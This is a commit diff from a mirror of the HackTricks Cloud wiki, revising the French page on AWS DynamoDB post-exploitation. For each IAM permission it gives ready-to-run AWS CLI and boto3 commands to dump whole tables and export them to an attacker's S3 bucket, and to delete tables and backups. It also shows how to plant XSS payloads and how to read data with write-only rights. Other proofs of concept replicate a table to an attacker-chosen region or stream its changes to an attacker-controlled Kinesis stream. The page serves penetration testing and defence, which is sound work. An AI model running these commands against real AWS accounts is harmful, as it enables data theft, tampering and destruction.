mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# AWS - Post Exploitation de DynamoDB
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Pour plus d'informations, consultez :
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Un attaquant avec ces permissions pourra **récupérer des éléments des tables par la clé primaire** (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez obtenir cela en récupérant les métadonnées de la table (`describe-table`).
|
||||
Un attaquant disposant de cette permission pourra **récupérer des éléments des tables par la clé primaire** (vous ne pouvez pas simplement demander toutes les données de la table). Cela signifie que vous devez connaître les clés primaires (vous pouvez les obtenir en récupérant les métadonnées de la table (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Semblable aux autorisations précédentes**, celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer :
|
||||
**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire les valeurs d'une seule table à partir de la clé primaire de l'entrée à récupérer :
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Avec cette autorisation, il est également possible d'utiliser la méthode **`transact-get-items`** comme :
|
||||
Avec cette permission, il est également possible d'utiliser la méthode **`transact-get-items`** comme :
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Semblable aux autorisations précédentes**, celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table donnée la clé primaire de l'entrée à récupérer. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour obtenir l'ensemble de la DB dans une requête.
|
||||
**Similaire aux permissions précédentes** celle-ci permet à un attaquant potentiel de lire des valeurs d'une seule table si la clé primaire de l'entrée à récupérer est fournie. Elle permet d'utiliser un [sous-ensemble de comparaisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mais la seule comparaison autorisée avec la clé primaire (qui doit apparaître) est "EQ", donc vous ne pouvez pas utiliser une comparaison pour récupérer toute la base de données en une seule requête.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,19 +107,19 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** un privesc indirect en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Vous pouvez utiliser cette autorisation pour **extraire facilement l'ensemble de la table**.
|
||||
Vous pouvez utiliser cette autorisation pour **dump facilement l'intégralité de la table**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Vous pouvez utiliser cette autorisation pour **extraire facilement l'ensemble de la table**.
|
||||
Vous pouvez utiliser cette permission pour **dump facilement l'intégralité de la table**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
@@ -131,11 +131,11 @@ aws dynamodb batch-execute-statement \
|
||||
```
|
||||
mais vous devez spécifier la clé primaire avec une valeur, donc ce n'est pas très utile.
|
||||
|
||||
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
|
||||
**Potential Impact:** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Cette permission permettra à un attaquant de **exporter l'ensemble de la table vers un bucket S3** de son choix :
|
||||
Cette permission permettra à un attaquant de **exporter toute la table vers un bucket S3** de son choix:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,36 +144,36 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Notez que pour que cela fonctionne, la table doit avoir la récupération à un moment donné activée, vous pouvez vérifier si la table l'a avec :
|
||||
Notez que pour que cela fonctionne, la table doit avoir point-in-time-recovery activé. Vous pouvez vérifier si la table l'a avec :
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Si ce n'est pas activé, vous devrez **l'activer** et pour cela, vous avez besoin de la permission **`dynamodb:ExportTableToPointInTime`** :
|
||||
Si ce n'est pas activé, vous devrez **l'activer** et pour cela vous avez besoin de l'autorisation **`dynamodb:ExportTableToPointInTime`** :
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la table
|
||||
**Impact potentiel :** Indirect privesc en localisant des informations sensibles dans la table
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Avec ces autorisations, un attaquant pourrait **créer une nouvelle table à partir d'une sauvegarde** (ou même créer une sauvegarde pour ensuite la restaurer dans une autre table). Ensuite, avec les autorisations nécessaires, il pourrait vérifier **des informations** provenant des sauvegardes qui **pourraient ne plus être dans la table de production**.
|
||||
Avec ces permissions, un attaquant serait capable de **créer une nouvelle table à partir d'une sauvegarde** (ou même de créer une sauvegarde pour la restaurer ensuite dans une table différente). Ensuite, avec les permissions nécessaires, il pourrait consulter **des informations** provenant des sauvegardes qui **ne pourraient plus être présentes dans la table de production**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel :** Privesc indirect en localisant des informations sensibles dans la sauvegarde de la table
|
||||
**Impact potentiel :** privesc indirect en localisant des informations sensibles dans la sauvegarde de la table
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Cette autorisation permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'élément entier sera remplacé** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
|
||||
Cette permission permet aux utilisateurs d'ajouter un **nouvel élément à la table ou de remplacer un élément existant** par un nouvel élément. Si un élément avec la même clé primaire existe déjà, **l'intégralité de l'élément sera remplacée** par le nouvel élément. Si la clé primaire n'existe pas, un nouvel élément avec la clé primaire spécifiée sera **créé**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Exemple XSS" }}
|
||||
{{#tab name="XSS Example" }}
|
||||
```bash
|
||||
## Create new item with XSS payload
|
||||
aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
@@ -192,7 +192,7 @@ aws dynamodb put-item --table <table_name> --item file://add.json
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Exemple IA" }}
|
||||
{{#tab name="AI Example" }}
|
||||
```bash
|
||||
aws dynamodb put-item \
|
||||
--table-name ExampleTable \
|
||||
@@ -202,14 +202,14 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Exploitation de vulnérabilités/bypasses supplémentaires en étant capable d'ajouter/modifier des données dans une table DynamoDB
|
||||
**Impact potentiel :** Exploitation d'autres vulnérabilités/contournements en pouvant ajouter/modifier des données dans une table DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle **ne remplace pas** l'élément entier ; elle met seulement à jour les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs spécifiés dans l'expression de mise à jour.
|
||||
Cette permission permet aux utilisateurs de **modifier les attributs existants d'un élément ou d'ajouter de nouveaux attributs à un élément**. Elle ne **remplace pas** l'élément entier ; elle met à jour uniquement les attributs spécifiés. Si la clé primaire n'existe pas dans la table, l'opération **créera un nouvel élément** avec la clé primaire spécifiée et définira les attributs indiqués dans l'expression de mise à jour.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Exemple XSS" }}
|
||||
{{#tab name="XSS Example" }}
|
||||
```bash
|
||||
## Update item with XSS payload
|
||||
aws dynamodb update-item --table <table_name> \
|
||||
@@ -230,7 +230,7 @@ aws dynamodb update-item --table <table_name> \
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Exemple IA" }}
|
||||
{{#tab name="AI Example" }}
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name ExampleTable \
|
||||
@@ -242,62 +242,294 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Exploitation de vulnérabilités/bypasses supplémentaires en étant capable d'ajouter/modifier des données dans une table DynamoDB
|
||||
**Potential Impact:** Exploitation de vulnerabilities/bypasses supplémentaires en permettant d'ajouter/modifier des données dans une table DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Un attaquant avec cette permission peut **supprimer une table DynamoDB, entraînant une perte de données**.
|
||||
Un attaquant disposant de cette permission peut **supprimer une table DynamoDB, provoquant une perte de données**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel** : Perte de données et interruption des services dépendant de la table supprimée.
|
||||
**Impact potentiel**: Perte de données et perturbation des services dépendant de la table supprimée.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Un attaquant avec cette permission peut **supprimer une sauvegarde DynamoDB, ce qui peut entraîner une perte de données en cas de scénario de récupération après sinistre**.
|
||||
Un attaquant disposant de cette permission peut **supprimer une sauvegarde DynamoDB, pouvant entraîner une perte de données en cas de scénario de reprise après sinistre**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel** : Perte de données et incapacité à récupérer à partir d'une sauvegarde lors d'un scénario de reprise après sinistre.
|
||||
**Impact potentiel**: Perte de données et impossibilité de restaurer à partir d'une sauvegarde dans un scénario de reprise après sinistre.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO : Tester si cela fonctionne réellement
|
||||
|
||||
Un attaquant avec ces autorisations peut **activer un flux sur une table DynamoDB, mettre à jour la table pour commencer à diffuser des modifications, puis accéder au flux pour surveiller les modifications de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrer les modifications de données, ce qui peut entraîner une fuite de données.
|
||||
Un attaquant disposant de ces autorisations peut **activer un stream sur une table DynamoDB, mettre à jour la table pour commencer à diffuser les modifications, puis accéder au stream pour surveiller les modifications de la table en temps réel**. Cela permet à l'attaquant de surveiller et d'exfiltrate les modifications de données, ce qui peut potentiellement conduire à data leakage.
|
||||
|
||||
1. Activer un flux sur une table DynamoDB :
|
||||
1. Activer un stream sur une table DynamoDB :
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Décrivez le flux pour obtenir l'ARN et d'autres détails :
|
||||
2. Décrivez le stream pour obtenir l'ARN et d'autres détails :
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Obtenez l'itérateur de fragment en utilisant l'ARN du flux :
|
||||
3. Obtenez le shard iterator en utilisant le stream ARN:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Utilisez l'itérateur de fragment pour accéder et exfiltrer des données du flux :
|
||||
4. Utilisez le shard iterator pour accéder et exfiltrate les données du stream:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Impact potentiel** : Surveillance en temps réel et fuite de données des modifications de la table DynamoDB.
|
||||
**Impact potentiel**: Surveillance en temps réel et exfiltration des données des modifications de la table DynamoDB.
|
||||
|
||||
### Lire des items via `dynamodb:UpdateItem` et `ReturnValues=ALL_OLD`
|
||||
|
||||
Un attaquant disposant uniquement de `dynamodb:UpdateItem` sur une table peut lire des éléments sans aucune des permissions de lecture habituelles (`GetItem`/`Query`/`Scan`) en effectuant une mise à jour bénigne et en demandant `--return-values ALL_OLD`. DynamoDB renverra l'image complète de l'élément avant mise à jour dans le champ `Attributes` de la réponse (cela ne consomme pas de RCUs).
|
||||
|
||||
- Permissions minimales: `dynamodb:UpdateItem` sur la table/clé ciblée.
|
||||
- Prérequis: Vous devez connaître la clé primaire de l'élément.
|
||||
|
||||
Exemple (ajoute un attribut inoffensif et exfiltre l'élément précédent dans la réponse):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
La réponse CLI inclura un bloc `Attributes` contenant l'élément précédent complet (tous les attributs), fournissant effectivement une primitive de lecture à partir d'un accès en écriture seule.
|
||||
|
||||
**Impact potentiel :** Lire des éléments arbitraires d'une table avec uniquement des autorisations d'écriture, permettant l'exfiltration de données sensibles lorsque les clés primaires sont connues.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Exfiltration furtive en ajoutant une nouvelle replica Region à une DynamoDB Global Table (version 2019.11.21). Si un principal peut ajouter un replica régional, l'ensemble de la table est répliqué vers la Region choisie par l'attaquant, depuis laquelle l'attaquant peut lire tous les éléments.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions : `dynamodb:UpdateTable` (avec `replica-updates`) ou `dynamodb:CreateTableReplica` sur la table cible. Si une CMK est utilisée dans la réplique, des permissions KMS pour cette clé peuvent être nécessaires.
|
||||
|
||||
Potential Impact : Réplication de l'ensemble de la table vers une région contrôlée par l'attaquant, entraînant une exfiltration furtive des données.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (lecture via condition échouée + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Un attaquant disposant de privilèges d'écriture transactionnelle peut exfiltrer l'ensemble des attributs d'un item existant en effectuant un `Update` à l'intérieur de `TransactWriteItems` qui échoue intentionnellement une `ConditionExpression` tout en définissant `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En cas d'échec, DynamoDB inclut les attributs précédents dans les raisons d'annulation de la transaction, transformant ainsi un accès en écriture seule en accès lecture sur les clés ciblées.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions : `dynamodb:TransactWriteItems` sur la table cible (et l'item sous-jacent). Aucune permission de lecture n'est requise.
|
||||
|
||||
Impact potentiel : Lire des éléments arbitraires (par clé primaire) d'une table en n'ayant que les privilèges d'écriture transactionnelle via les raisons d'annulation renvoyées.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` sur un GSI
|
||||
|
||||
Contourner les restrictions de lecture en créant un Global Secondary Index (GSI) avec `ProjectionType=ALL` sur un attribut à faible entropie, définir cet attribut à une valeur constante pour tous les éléments, puis `Query` l'index pour récupérer les éléments complets. Cela fonctionne même si `Query`/`Scan` sur la table de base est refusé, tant que vous pouvez interroger l'ARN de l'index.
|
||||
|
||||
- Permissions minimales :
|
||||
- `dynamodb:UpdateTable` sur la table cible (pour créer le GSI avec `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` sur les clés de la table cible (pour définir l'attribut indexé sur chaque élément).
|
||||
- `dynamodb:Query` sur l'ARN de la ressource d'index (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Étapes (PoC en us-east-1) :
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Impact potentiel :** Exfiltration complète de la table en interrogeant un GSI nouvellement créé qui projette tous les attributs, même lorsque les API de lecture de la table de base sont refusées.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltration continue via Kinesis Data Streams)
|
||||
|
||||
Abuser de DynamoDB Kinesis streaming destinations pour exfiltrer en continu les modifications d'une table vers un Kinesis Data Stream contrôlé par l'attaquant. Une fois activé, chaque événement INSERT/MODIFY/REMOVE est transmis quasi en temps réel au stream sans nécessiter de permissions de lecture sur la table.
|
||||
|
||||
Permissions minimales (attaquant) :
|
||||
- `dynamodb:EnableKinesisStreamingDestination` sur la table cible
|
||||
- Optionnellement `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` pour surveiller l'état
|
||||
- Permissions de lecture sur le Kinesis stream contrôlé par l'attaquant pour consommer les enregistrements : `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**Impact potentiel :** Exfiltration continue, quasi en temps réel, des modifications de la table vers un Kinesis stream contrôlé par un attaquant sans opérations de lecture directes sur la table.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user